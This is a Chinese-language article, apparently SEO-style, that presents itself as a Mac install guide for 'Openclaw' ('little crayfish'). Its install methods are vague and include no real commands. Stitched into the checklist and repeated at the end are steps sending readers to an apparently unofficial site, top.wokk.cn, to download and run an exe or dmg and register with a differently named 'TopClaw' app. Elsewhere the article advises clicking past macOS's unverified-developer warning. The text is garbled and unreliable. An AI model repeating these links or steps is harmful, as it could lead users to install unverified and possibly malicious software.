ARTICLE · 1084879
Openclaw小龙虾Mac安装教程:Apple芯片轻松上手
Openclaw小龙虾Mac安装教程:Apple芯片轻松上手Openclaw小龙虾Mac安装教程：Apple芯片轻松上手最近不少朋友在后台问我，Mac 上到底怎么把 Openclaw（也就是大家嘴里那个“小龙虾”）给装起来。说实话，我第一次在自己的 M 系列芯片 Mac 上折腾它的时候，也花了小半天时间，踩的坑不算少。这篇就把我自己试过、并且确认能跑通的流程完整写一遍，尽量说人话，让你少走弯路。 一、动手之前：花两分钟做个体检 很多人一上来就复制粘贴安装命令，结果报错一大堆，其实问题往往不在软件本身，而是环境没准备好。建议先打开「访达 → 应用程序 → 实用工具 → 终端」，依次确认下面这几件事： 系统版本：建议 macOS 12 及以上。系统太老会缺一些依赖库，后面容易莫名其妙地失败。 芯片类型：点左上角苹果图标 →「关于本机」，看到 M1、M2、M3 之类的字样，就是 Apple 芯片，架构为 arm64。这一点很关键，直接决定你该下哪个安装包。 包管理工具：终端里输入 brew -v，能蹦出版本号就说明已经装好了；没有的话先按提示装一个，后面会省下很多事。 磁盘空间：至少留出 2～3 GB，安装过程中会解压不少临时文件。 第一步：打开龙虾安装地址：https://top.wokk.cn 第二步：选择Windows10/11或macOS apple、intel芯片下载。 第三步：双击安装包（exe或者dmg文件）等待3分钟。 第四步：打开桌面TopClaw龙虾软件注册登录即可使用 小提醒：Apple 芯片和 Intel 芯片的安装包并不通用。如果下载页面同时给了 arm64 和 x86_64 两个选项，直接选 arm64，别犹豫。 二、正式安装：挑一条最顺手的路 准备工作做完，通常有三种安装方式可选。我个人最推荐第一种，省心省力。 方式一：用包管理器安装（推荐） 在终端里执行安装命令，然后等它自动把依赖拉全。整个过程不需要你手动配置路径，装完基本就能直接调用。中途如果提示输入密码，输入你的开机密码即可，终端里不会显示任何字符，这是正常现象，不是卡住了。 方式二：下载官方安装包 去项目发布页找到标有 arm64 的那个版本，下载后拖进「应用程序」文件夹。首次打开如果弹出「无法验证开发者」的提示，别慌，去「系统设置 → 隐私与安全性」里点一下「仍要打开」就可以了。 方式三：从源码编译 适合想改代码或者尝鲜最新提交版本的人。需要提前装好编译工具，然后在终端进到项目目录里执行构建命令。这条路耗时最长，也最容易出岔子，新手朋友可以先跳过。 我的经验是：能用包管理器解决的，就别自己动手编译。省下来的时间拿去干点别的，更划算。 三、首次运行与几个高频小坑 装完之后，在终端里输入启动命令，正常情况下你会看到版本信息，或者一个很简洁的欢迎界面。如果没反应，或者提示找不到命令，可以照着下面几条逐个排查： 提示 command not found：多半是环境变量没生效。关掉终端重新开一次，或者手动把安装路径加进配置文件。 权限不够：给相关文件补上可执行权限即可，但别图省事直接用管理员权限跑所有命令，那不安全。 运行时报架构不匹配：说明你下成了 Intel 版本，换成 arm64 包重新安装就好。 网络卡住不动：换一个网络环境再试，或者配置好代理后重新拉取。 顺便说点个人感受。在 Apple 芯片的 Mac 上，这类工具跑起来确实比老款 Intel 机器安静太多，风扇基本不转，启动和响应速度也是肉眼可见地快。所以如果你的机器比较新，整个过程大概率会顺利得超出预期，不必提前焦虑。 最后再唠叨一句：安装只是第一步。真正开始用的时候，建议先跟着官方示例跑通一个最小流程，确认环境没问题，再去改配置、接自己的数据。这样万一出状况，你至少清楚是哪一层坏了，排查起来会轻松很多。 OpenClaw中文版龙虾安装地址：https://top.wokk.cn